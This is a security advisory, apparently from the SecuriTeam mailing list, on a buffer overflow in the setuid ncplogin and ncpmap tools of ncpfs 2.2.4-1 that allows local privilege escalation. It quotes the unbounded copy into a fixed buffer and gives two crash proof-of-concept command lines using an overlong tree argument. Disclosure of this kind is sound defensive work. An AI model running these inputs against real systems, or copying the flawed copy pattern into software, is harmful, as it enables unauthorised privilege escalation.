[UNIX] ncpfs Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

ncpfs Buffer Overflow
------------------------------------------------------------------------

SUMMARY

The <http://www.gsp.com/cgi-bin/man.cgi?section=1&topic=ncplogin>
ncplogin command is used to create a permanent connection to a NetWare
server. Permanent connections will stay connected even if no applications
use them.

By passing a long tree parameter to ncplogin and ncpmap, it is possible to
crash the program and possibly gain higher privileges.

DETAILS

Vulnerable Systems:
* ncpfs version 2.2.4-1 from fedora core 2

Both ncplogin and ncpmap are installed setuid by default, thus
exploitation allows privilege escalation.

Vulnerable Code:
From nwclient.c:
static void strcpy_cw(wchar_t *w, const char* s) {
while ((*w++ = *(const nuint8*)s++) != 0);
}

NWDSCCODE NWDSCreateContextHandleMnt(NWDSContextHandle* ctx, const
NWDSChar * treeName){
..
wchar_t wc_treeName[MAX_DN_CHARS+1];

if (!treeName)
return ERR_NULL_POINTER;

strcpy_cw (wc_treeName,treeName);

Proof of Concept:
The following two command lines will cause the triggering of the
vulnerability:
ncplogin -T `perl -e '{print"a"x"330"}'`
ncpmap -T `perl -e '{print"a"x"330"}'` /

ADDITIONAL INFORMATION

The information has been provided by <mailto:appelast@drumnbass.art.pl>
Karol Wi sek.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.